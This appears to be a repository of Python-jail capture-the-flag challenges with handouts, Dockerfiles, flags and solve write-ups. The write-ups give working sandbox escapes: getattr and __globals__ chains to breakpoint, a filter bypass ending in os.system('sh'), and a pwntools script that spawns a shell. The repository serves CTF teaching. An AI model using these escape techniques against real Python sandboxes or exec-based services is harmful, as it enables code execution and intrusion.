30 | | /""-. \\\\\\._ '''''--------- H __.--'
31 | \\ / / \\ ''--__________________--H-''
32 | | | | ) __.__ \\
33 | H | | _.""-.__| ## /' )# \\
34 | H | _|"" | "" |_._.''- \\.-""\\
35 | | |/ |"-._ _.-"| . . . . \\ |
36 | |_.-""\"-._/ . * * | /
37 | ./ " _. . . / /
38 | ( "-.__ __.-"' /.-'
39 | | |#####/ /
40 | \\ \\ / /"
41 | '-._______._ .-"'
42 | '-.____ _.--"' _.--
43 | _____ |'''''''' | .----_ .-"\
44 | / \\ |_________|___| \\ \\"" \
45 | | . \\"" | | "'
46 | .- | | | |
47 | .-"' | | | | """ # noqa
48 |
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/highlighters/Charcoal.sublime-syntax:
--------------------------------------------------------------------------------
1 | %YAML 1.2
2 | ---
3 | file_extensions:
4 | - cl
5 | scope: source
6 | contexts:
7 | main:
8 | - match: (¿|F|W|HF|HW)
9 | scope: keyword
10 |
11 | - match: ([ABCDEFGHIJKLMNOPQRSTUVWXYZ¤‖↶↷⟲])
12 | scope: entity.name.function
13 |
14 | - match: ([⁺⁻×÷﹪∧∨¬⁼‹›])
15 | scope: keyword.operator
16 |
17 | - match: ([⁰¹²³⁴⁵⁶⁷⁸⁹]+)
18 | scope: constant.numeric
19 |
20 | - match: ([←↑→↓↖↗↘↙])
21 | scope: constant.other.symbol
22 |
23 | - match: ([ -~¶´]+)
24 | scope: string.quoted
25 |
26 | - match: ([αβγδεζηθικλμνξπρσςτυφχψω])
27 | scope: variable
28 |
29 | - match: («)
30 | push: body
31 |
32 | - match: (»)
33 | scope: invalid.illegal.stray-bracket-end
34 |
35 | body:
36 | - match: (»)
37 | pop: true
38 | - include: main
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/requirements.txt:
--------------------------------------------------------------------------------
1 | brotli
2 | regex
3 |
--------------------------------------------------------------------------------
/charredcoal/handout/Charcoal/tox.ini:
--------------------------------------------------------------------------------
1 | [pycodestyle]
2 | ignore = W291,W293
3 |
4 | [pep8]
5 | ignore = W291,W293
--------------------------------------------------------------------------------
/charredcoal/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir regex brotli
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 main.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | COPY Charcoal/ /srv/app/Charcoal/
9 | ENV JAIL_MEM=34M JAIL_PIDS=7 JAIL_ENV_NUM=5 JAIL_TIME=60 JAIL_CONNS_PER_IP=2
10 |
--------------------------------------------------------------------------------
/charredcoal/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/charredcoal/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from time import sleep
3 | import subprocess
4 |
5 | inp = bytes.fromhex(input("> ")).decode()
6 |
7 | for char in inp:
8 | if ord(char) > 256:
9 | print("hey, not cool !")
10 | exit()
11 |
12 | with subprocess.Popen(["/usr/local/bin/python3", "/app/Charcoal/charcoal.py"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc:
13 | print(proc.communicate(input=inp.encode())[0].decode())
14 | print('bye')
15 |
16 |
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/.gitignore:
--------------------------------------------------------------------------------
1 | .c9/
2 | __pycache__/
3 | .~c9*
4 | out*
5 | *.swp
6 | *.cl
7 | *.clv
8 | *.clg
9 | test.in
10 |
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/.travis.yml:
--------------------------------------------------------------------------------
1 | language: python
2 | python:
3 | - "3.4"
4 | - "3.5"
5 | - "3.6" # current default Python on Travis CI
6 | - "3.7"
7 | - "3.8"
8 | - "3.8-dev" # 3.8 development branch
9 | - "nightly" # nightly build
10 | # command to install dependencies
11 | install:
12 | - pip install -r requirements.txt
13 | # command to run tests
14 | script:
15 | - python test.py
16 |
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2016 E-Hern Lee and David Loscutoff
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4 |
5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6 |
7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8 |
9 |
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/README.md:
--------------------------------------------------------------------------------
1 | # Charcoal
2 |
3 | Want to be able to write basic Charcoal quickly? Then read on. If you came here looking for help, scroll to the bottom for the FAQ.
4 |
5 | ## Example REPL session
6 |
7 | To use the REPL, simply invoke with `./charcoal.py`, `python charcoal.py` or `python3 charcoal.py`.
8 |
9 | Charcoal> Hello, World!
10 | Hello, World!
11 | Charcoal> ^C
12 | Cleared canvas
13 |
14 | ## Literals
15 | There are two basic types of literals: strings and numbers. A string is just a run of printable ASCII, and a number is just a run of the superscript digits `⁰¹²³⁴⁵⁶⁷⁸⁹`.
16 |
17 | Examples:
18 | `foo` is equivalent to `"foo"`.
19 | `foo¶bar` is the same as `"foo\nbar"`.
20 | `¹²³⁴` is `1234`.
21 |
22 | ## Printing
23 | In a Charcoal program, expressions are implicitly printed. Numbers print a line, and arrows can be used to specify a direction.
24 |
25 | Examples:
26 | `foo` prints `foo`
27 | `foo⁴` prints `foo----`
28 | `foo↖⁴` prints:
29 | ```
30 | \
31 | \
32 | \
33 | foo\
34 | ```
35 |
36 | ## FAQ
37 | - When I run Charcoal it throws some errors about UTF-8 characters and exits.
38 | - Maybe you don't have Python 3 installed. Try installing Python 3 from [here](https://www.python.org/downloads/).
39 | - When I run Charcoal it throws some errors and exits.
40 | - If the message comes with a stack trace, it looks like you have found a bug. File a bug report [here](https://github.com/somebody1234/Charcoal/issues), and we'll come back to you as soon as we can.
41 |
42 |
43 |
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/TODO.md:
--------------------------------------------------------------------------------
1 | # To Do
2 | - [ ] Make empty lines [] not [""]
3 | - [ ] Better detection of empty spaces
4 | - [ ] Decide whether to add roll (shift string right (and maybe left))?,
5 | translate and more complex number things e.g. factor
6 | - [ ] Add other operators to tutor? Introduce preinitialized variables?
7 | - [ ] Use one charcoal instance for new charcoal (lambdafy) maybe?
8 | - [ ] zip
9 | - [ ] Make ASTProcessor lines <80 chars
10 | - [ ] Make lambdas not print result if they also return it
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/charredcoal/remote/Charcoal/__init__.py
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/appveyor.yml:
--------------------------------------------------------------------------------
1 | environment:
2 |
3 | matrix:
4 |
5 | # For Python versions available on Appveyor, see
6 | # http://www.appveyor.com/docs/installed-software#python
7 | # The list here is complete (excluding Python 2.6, which
8 | # isn't covered by this document) at the time of writing.
9 | - PYTHON: "C:\\Python34"
10 | - PYTHON: "C:\\Python35"
11 | - PYTHON: "C:\\Python36"
12 | - PYTHON: "C:\\Python37"
13 | - PYTHON: "C:\\Python38"
14 | - PYTHON: "C:\\Python35-x64"
15 | - PYTHON: "C:\\Python36-x64"
16 | - PYTHON: "C:\\Python37-x64"
17 | - PYTHON: "C:\\Python38-x64"
18 |
19 | install:
20 | # We need wheel installed to build wheels
21 | - "%PYTHON%\\python.exe -m pip install brotli regex"
22 |
23 | build: off
24 |
25 | test_script:
26 | - "%PYTHON%\\python.exe test.py"
27 |
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/charcoaltoken.py:
--------------------------------------------------------------------------------
1 | CharcoalTokenNames = [
2 | "Arrow",
3 | "Multidirectional",
4 | "Side",
5 | "S",
6 | "String",
7 | "Number",
8 | "Name",
9 | "Span",
10 |
11 | "Arrows",
12 | "Sides",
13 | "WolframExpressions",
14 | "Expressions",
15 | "Fixes",
16 | "PairExpressions",
17 | "Cases",
18 |
19 | "WolframExpression",
20 | "Expression",
21 | "ExpressionOrEOF",
22 | "Nilary",
23 | "Unary",
24 | "Binary",
25 | "Ternary",
26 | "Quarternary",
27 | "LazyUnary",
28 | "LazyBinary",
29 | "LazyTernary",
30 | "LazyQuarternary",
31 | "Infix",
32 | "Prefix",
33 | "Fix",
34 | "FixOrEOF",
35 | "OtherOperator",
36 |
37 | "WolframList",
38 | "List",
39 | "Dictionary",
40 |
41 | "Program",
42 | "NonEmptyProgram",
43 | "Body",
44 | "Command",
45 |
46 | "LP",
47 | "RP",
48 |
49 | "EOF",
50 |
51 | "MAX",
52 | ]
53 |
54 |
55 | class CharcoalToken:
56 | pass
57 |
58 | for i in range(len(CharcoalTokenNames)):
59 | setattr(CharcoalToken, CharcoalTokenNames[i], i)
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/direction.py:
--------------------------------------------------------------------------------
1 | from enum import Enum
2 |
3 |
4 | class Direction(Enum):
5 | left = 1
6 | up = 2
7 | right = 3
8 | down = 4
9 | up_left = 5
10 | up_right = 6
11 | down_left = 7
12 | down_right = 8
13 |
14 | DirectionToString = {
15 | Direction.left: "←",
16 | Direction.up: "↑",
17 | Direction.right: "→",
18 | Direction.down: "↓",
19 | Direction.up_left: "↖",
20 | Direction.up_right: "↗",
21 | Direction.down_left: "↙",
22 | Direction.down_right: "↘"
23 | }
24 |
25 |
26 | class Pivot(Enum):
27 | left = 1
28 | right = 2
29 |
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/extras.py:
--------------------------------------------------------------------------------
1 | go = goat = """\
2 | ___.
3 | // \\\\
4 | (( ''
5 | \\\\__,
6 | /6 (%)\\,
7 | (__/:";,;\\--____----_
8 | ;; :';,:';`;,';,;';`,`_
9 | ;:,;;';';,;':,';';,-Y\\
10 | ;,;,;';';,;':;';'; Z/
11 | / ;,';';,;';,;';;'
12 | / / |';/~~~~~\\';;'
13 | ( K | | || |
14 | \\_\\ | | || |
15 | \\Z | | || |
16 | L_| LL_|
17 | LW/ LLW/""" # evil sheep suck
18 |
19 | sh = sheep = "sheep suck"
20 |
21 | de = dennis = """\
22 | _,-'''--,.__ _
23 | _.*'' __''>#=--""\"
24 | _ ./" _.-'' '\\._
25 | / "'--.____ _.-' __.-'' '\\.
26 | / "Y __/" /// "\\.
27 | | /" _/" /// --.________ * "\\
28 | | // /""|---______"\\
29 | | . ""'--.__ H _./
30 | | /""-. \\\\\\._ '''''--------- H __.--'
31 | \\ / / \\ ''--__________________--H-''
32 | | | | ) __.__ \\
33 | H | | _.""-.__| ## /' )# \\
34 | H | _|"" | "" |_._.''- \\.-""\\
35 | | |/ |"-._ _.-"| . . . . \\ |
36 | |_.-""\"-._/ . * * | /
37 | ./ " _. . . / /
38 | ( "-.__ __.-"' /.-'
39 | | |#####/ /
40 | \\ \\ / /"
41 | '-._______._ .-"'
42 | '-.____ _.--"' _.--
43 | _____ |'''''''' | .----_ .-"\
44 | / \\ |_________|___| \\ \\"" \
45 | | . \\"" | | "'
46 | .- | | | |
47 | .-"' | | | | """ # noqa
48 |
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/highlighters/Charcoal.sublime-syntax:
--------------------------------------------------------------------------------
1 | %YAML 1.2
2 | ---
3 | file_extensions:
4 | - cl
5 | scope: source
6 | contexts:
7 | main:
8 | - match: (¿|F|W|HF|HW)
9 | scope: keyword
10 |
11 | - match: ([ABCDEFGHIJKLMNOPQRSTUVWXYZ¤‖↶↷⟲])
12 | scope: entity.name.function
13 |
14 | - match: ([⁺⁻×÷﹪∧∨¬⁼‹›])
15 | scope: keyword.operator
16 |
17 | - match: ([⁰¹²³⁴⁵⁶⁷⁸⁹]+)
18 | scope: constant.numeric
19 |
20 | - match: ([←↑→↓↖↗↘↙])
21 | scope: constant.other.symbol
22 |
23 | - match: ([ -~¶´]+)
24 | scope: string.quoted
25 |
26 | - match: ([αβγδεζηθικλμνξπρσςτυφχψω])
27 | scope: variable
28 |
29 | - match: («)
30 | push: body
31 |
32 | - match: (»)
33 | scope: invalid.illegal.stray-bracket-end
34 |
35 | body:
36 | - match: (»)
37 | pop: true
38 | - include: main
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/requirements.txt:
--------------------------------------------------------------------------------
1 | brotli
2 | regex
3 |
--------------------------------------------------------------------------------
/charredcoal/remote/Charcoal/tox.ini:
--------------------------------------------------------------------------------
1 | [pycodestyle]
2 | ignore = W291,W293
3 |
4 | [pep8]
5 | ignore = W291,W293
--------------------------------------------------------------------------------
/charredcoal/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir regex brotli
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 main.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | COPY Charcoal/ /srv/app/Charcoal/
9 | ENV JAIL_MEM=34M JAIL_PIDS=7 JAIL_ENV_NUM=5 JAIL_TIME=60 JAIL_CONNS_PER_IP=2
10 |
--------------------------------------------------------------------------------
/charredcoal/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{ord_is_a_weirdo_d9479722fdb4b49bd40494c2acb}
2 |
--------------------------------------------------------------------------------
/charredcoal/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | from time import sleep
3 | import subprocess
4 |
5 | inp = bytes.fromhex(input("> ")).decode()
6 |
7 | for char in inp:
8 | if ord(char) > 256:
9 | print("hey, not cool !")
10 | exit()
11 |
12 | with subprocess.Popen(["/usr/local/bin/python3", "/app/Charcoal/charcoal.py"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc:
13 | print(proc.communicate(input=inp.encode())[0].decode())
14 | print('bye')
15 |
16 |
--------------------------------------------------------------------------------
/charredcoal/solve/README.md:
--------------------------------------------------------------------------------
1 | # charredcoal
2 |
3 | even though we cant abuse those U V or X utf8 chars, we can use the weird s with a circle in the middle which is for some reason ord under 256 even though it is two bytes in utf8
4 |
5 | so it says in the docs that the funky "s" is x[y] or smth, but if you look at the source it does getattr !!!! dangerous alert !!!! anyways, we can just use `<<` and `>>` but the singular chars to
6 | create a lambda or smth idk what it is and then we getattr the globals of it and then the builtins of that and then the breakpoint and for some reason when stuff is printed in the repl, if it is a function it is called
7 | with no args. so we use breakpoint here and then we can just use a standard import os system sh or whatever
8 |
9 | ```
10 | §§§«»¦__globals__¦builtins¦breakpoint
11 | __import__('os').system('cat flag.txt')
12 | ```
13 |
14 | yeah my solve is above (one must hex encode it before submitting ! keep that in mind...)
15 |
16 |
--------------------------------------------------------------------------------
/filterd/README.md:
--------------------------------------------------------------------------------
1 | # filter'd
2 |
3 | category: pyjail/introductory/golf
4 |
5 | ## description
6 |
7 | i asked the tech support guy for help with escaping this jail but all he said in his reply was "lmao u just got filter'd"...
8 |
9 |
--------------------------------------------------------------------------------
/filterd/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 chal.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=25M JAIL_ENV_NUM=5 JAIL_TIME=180 JAIL_CONNS_PER_IP=2
8 |
9 |
--------------------------------------------------------------------------------
/filterd/handout/chal.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | M = 14 # no malicious code could ever be executed since this limit is so low, right?
3 | def f(code):
4 | assert len(code) <= M
5 | assert all(ord(c) < 128 for c in code)
6 | assert all(q not in code for q in ["exec",
7 | "eval", "breakpoint", "help", "license", "exit"
8 | , "quit"])
9 | exec(code, globals())
10 | f(input("> "))
11 |
12 |
--------------------------------------------------------------------------------
/filterd/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/filterd/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 chal.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=25M JAIL_ENV_NUM=5 JAIL_TIME=180 JAIL_CONNS_PER_IP=2
8 |
9 |
--------------------------------------------------------------------------------
/filterd/remote/chal.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | M = 14 # no malicious code could ever be executed since this limit is so low, right?
3 | def f(code):
4 | assert len(code) <= M
5 | assert all(ord(c) < 128 for c in code)
6 | assert all(q not in code for q in ["exec",
7 | "eval", "breakpoint", "help", "license", "exit"
8 | , "quit"])
9 | exec(code, globals())
10 | f(input("> "))
11 |
12 |
--------------------------------------------------------------------------------
/filterd/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{can_you_repeat_that_for_me?_aacb7144d2c}
2 |
--------------------------------------------------------------------------------
/filterd/solve/README.md:
--------------------------------------------------------------------------------
1 | # filter'd
2 |
3 | ### intended solution
4 |
5 | ok so basically the solve idea is we can call the function f, and since the eval is called with the globals() as the second argument, we can also set/overwrite variables in the global scope
6 |
7 | one important thing to know is that one can delimit statements with `;` instead of `\n` in python
8 |
9 | so we can do `f(input())` to regain execution with 4 bytes to spare, but that is not enough to do anything meaningful
10 |
11 | instead, we can do `i=input;f(i())` which does the same thing. this may seem not useful to do it this way, because we use more bytes, but that means that
12 | in the "next time through" we can do `f(i())` to run the program again, which is only 6 bytes. that way, we have 8 bytes to spare (well, 7 because one is going to be a `;`).
13 |
14 | with the 7 bytes, we can overwrite the `M` to raise the limit to be large
15 |
16 | so, `M=10000;f(i())` is our next step
17 |
18 | after that, we can just write in whatever payload that doesnt use the blacklisted keywords that we can think of. an easy way to win is just to use the `"os.system"` with `"sh"` as the argument to get a shell and then win
19 |
20 | summary of intended sol:
21 | ```
22 | i=input;f(i())
23 | M=10000;f(i())
24 | __import__('os').system('sh')
25 | ```
26 |
27 | ### alternative solution
28 |
29 | alt sol found by lyndon using walrus operator that uses 13 bytes per inp max
30 |
31 | ```
32 | f(i:=input())
33 | f(input())
34 | M=10000;f(i)
35 | import os;os.system('sh')
36 | ```
37 |
38 | i did not make the challenge 13 bytes max because this is an introductory challenge and this would be stretching it a little too far (even i did not see this one coming)
39 |
40 |
--------------------------------------------------------------------------------
/functional-programming/README.md:
--------------------------------------------------------------------------------
1 | # functional programming
2 |
3 | category: pyjail/crypto
4 |
5 | ## description
6 |
7 | can(you(write(python(with(only(functions()))))))
8 |
9 |
--------------------------------------------------------------------------------
/functional-programming/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir regex
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 main.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/functional-programming/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/functional-programming/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 |
3 | if eval(__import__('regex').fullmatch(r'[a-oq-z]+\(((?R)|)\)', input('> '))[0]) == 0x1337133713371337:
4 | print(open('flag.txt', 'r').read())
5 |
6 |
--------------------------------------------------------------------------------
/functional-programming/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 | RUN pip install --no-cache-dir regex
3 |
4 | FROM pwn.red/jail
5 | COPY --from=app / /srv
6 | COPY --chmod=755 main.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/functional-programming/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{brut1n9_h45h_funct10n5_ftw!!!}
2 |
--------------------------------------------------------------------------------
/functional-programming/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 |
3 | if eval(__import__('regex').fullmatch(r'[a-oq-z]+\(((?R)|)\)', input('> '))[0]) == 0x1337133713371337:
4 | print(open('flag.txt', 'r').read())
5 |
6 |
--------------------------------------------------------------------------------
/functional-programming/solve/README.md:
--------------------------------------------------------------------------------
1 | # functional programming
2 |
3 | The intended solution is to generate a Python object whose `hash()` equals `0x1337133713371337`. Since tuples are hashable, their hash is also deterministic. Arbitary "binary" tuples can be generated by repeatedly using `enumerate`, `reversed`, and `list`. For example,
4 |
5 | ```py
6 | next(iter(reversed(list(enumerate(range(2)))))) == (1, 1)
7 | next(iter(list(enumerate(reversed(list(enumerate(range(2)))))))) == (0, (1, 1))
8 | next(iter(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(range(2))))))))))) == (0, (1, (0, 0)))
9 | ```
10 |
11 | It remains to generate a preimage of `hash()` efficiently, without brute forcing over the entire `2^64` search space. We can see that the [`tuplehash`](https://github.com/python/cpython/blob/3.12/Objects/tupleobject.c#L319) implementation in CPython has a single accumulator variable that updates via some mathematical formula as a function of the current item in the tuple:
12 |
13 | ```py
14 | Py_uhash_t acc = _PyHASH_XXPRIME_5;
15 | for (i = 0; i < len; i++) {
16 | Py_uhash_t lane = PyObject_Hash(item[i]);
17 | if (lane == (Py_uhash_t)-1) {
18 | return -1;
19 | }
20 | acc += lane * _PyHASH_XXPRIME_2;
21 | acc = _PyHASH_XXROTATE(acc);
22 | acc *= _PyHASH_XXPRIME_1;
23 | }
24 | ```
25 |
26 | Most notably, the transformation is **bijective**, which allows us to perform a meet-in-the-middle attack. This decreases the time of finding a preimage from `2^64` to `2^32`! My [implementation](brute.c) in C takes ~25 mins to find a solution.
27 |
--------------------------------------------------------------------------------
/functional-programming/solve/payload.txt:
--------------------------------------------------------------------------------
1 | hash(next(iter(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(list(enumerate(list(enumerate(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(list(enumerate(reversed(range(len(str(list())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
2 |
--------------------------------------------------------------------------------
/get-and-call/README.md:
--------------------------------------------------------------------------------
1 | # get and call
2 |
3 | category: pyjail/introductory
4 |
5 | ## description
6 |
7 | can you combine these two primitives to get rce?
8 |
9 |
--------------------------------------------------------------------------------
/get-and-call/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=220 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/get-and-call/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/get-and-call/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | obj = 0
3 | while True:
4 | print(f'obj: {obj}')
5 | print('1. get attribute')
6 | print('2. call method')
7 | inp = input("choose > ")
8 | if inp == '1':
9 | obj = getattr(obj, input('attr > '), obj)
10 | if inp == '2':
11 | obj = obj()
12 | # note: i highly recommend using either the dockerfile or exploring attributes on remote with attribute __dir__. this challenge may function much differently on your local python environment!!!!
13 |
--------------------------------------------------------------------------------
/get-and-call/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=220 JAIL_CONNS_PER_IP=2
8 |
--------------------------------------------------------------------------------
/get-and-call/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{if_you_find_a_way_to_get_rce_without_breakpoint_or_breakpointhook_then_lmk}
2 |
--------------------------------------------------------------------------------
/get-and-call/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | obj = 0
3 | while True:
4 | print(f'obj: {obj}')
5 | print('1. get attribute')
6 | print('2. call method')
7 | inp = input("choose > ")
8 | if inp == '1':
9 | obj = getattr(obj, input('attr > '), obj)
10 | if inp == '2':
11 | obj = obj()
12 |
--------------------------------------------------------------------------------
/get-and-call/solve/README.md:
--------------------------------------------------------------------------------
1 | # get and call
2 |
3 | solve1.py contains a solution that calls `builtins.breakpoint`
4 |
5 | solve2.py contains a solution that calls `sys.breakpointhook`
6 |
7 | the premise here is that we can do arbitrary getattr and call functions with no arguments, but we cant do anything more
8 |
9 | the trick here is to deviate from the standard no builtins escape of `object.__subclasses__()[num].__init__.__globals__` and instead use popitem to traverse module dictionaries
10 |
11 | one gets the last item of a dict using `dict_obj.values().__reversed__().__next__()`
12 |
13 | additionally, one gets the last item of a list using `list_obj.__reversed__().__next__()`
14 |
15 | ok there was also an unintended where you could get the iter function by using `__reduce__` on some iter object and then use the `__self__` of that to get to builtins and win
16 |
--------------------------------------------------------------------------------
/get-and-call/solve/solve2.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | from subprocess import check_output
3 |
4 |
5 | #p = process(['python3', 'the.py'])
6 | p = remote('localhost', 5000)
7 |
8 | p.recvline()
9 | p.sendline(check_output(p.recvline().strip(),shell=True))
10 |
11 |
12 | def ga(attr: str):
13 | p.sendline(b'1')
14 | p.sendline(attr.encode())
15 |
16 |
17 | def call():
18 | p.sendline(b'2')
19 |
20 |
21 | for i in range(16):
22 | ga('__class__')
23 | ga('__base__')
24 | ga('__subclasses__')
25 | call() # object.__subclasses__()
26 |
27 | # get the last item of the list
28 | ga('__reversed__')
29 | call()
30 | ga('__next__')
31 | call() # object.__subclasses__()[-1] => _distutils_hack.shim
32 |
33 | # use https://github.com/pypa/setuptools/blob/main/_distutils_hack/__init__.py#L220 to see which methods give builtins
34 | ga('__enter__')
35 | ga('__globals__') # _distutils_hack.shim.__enter__.__globals__ => _distutils_hack.__dict__
36 | if i < 15:
37 | ga('popitem') # pop key:value pairs until the last value is
38 | call()
39 | continue
40 | ga('values')
41 | call()
42 | ga('__reversed__')
43 | call()
44 | ga('__next__')
45 | call() #
46 | ga('breakpointhook') # sys.breakpointhook() is equivalent to breakpoint
47 | call()
48 | p.sendline(b'__import__("os").system("sh")') # win
49 |
50 | p.interactive()
51 |
52 |
--------------------------------------------------------------------------------
/impossible-maze/README.md:
--------------------------------------------------------------------------------
1 | # impossible maze
2 |
3 | category: misc
4 |
5 | ## Description
6 |
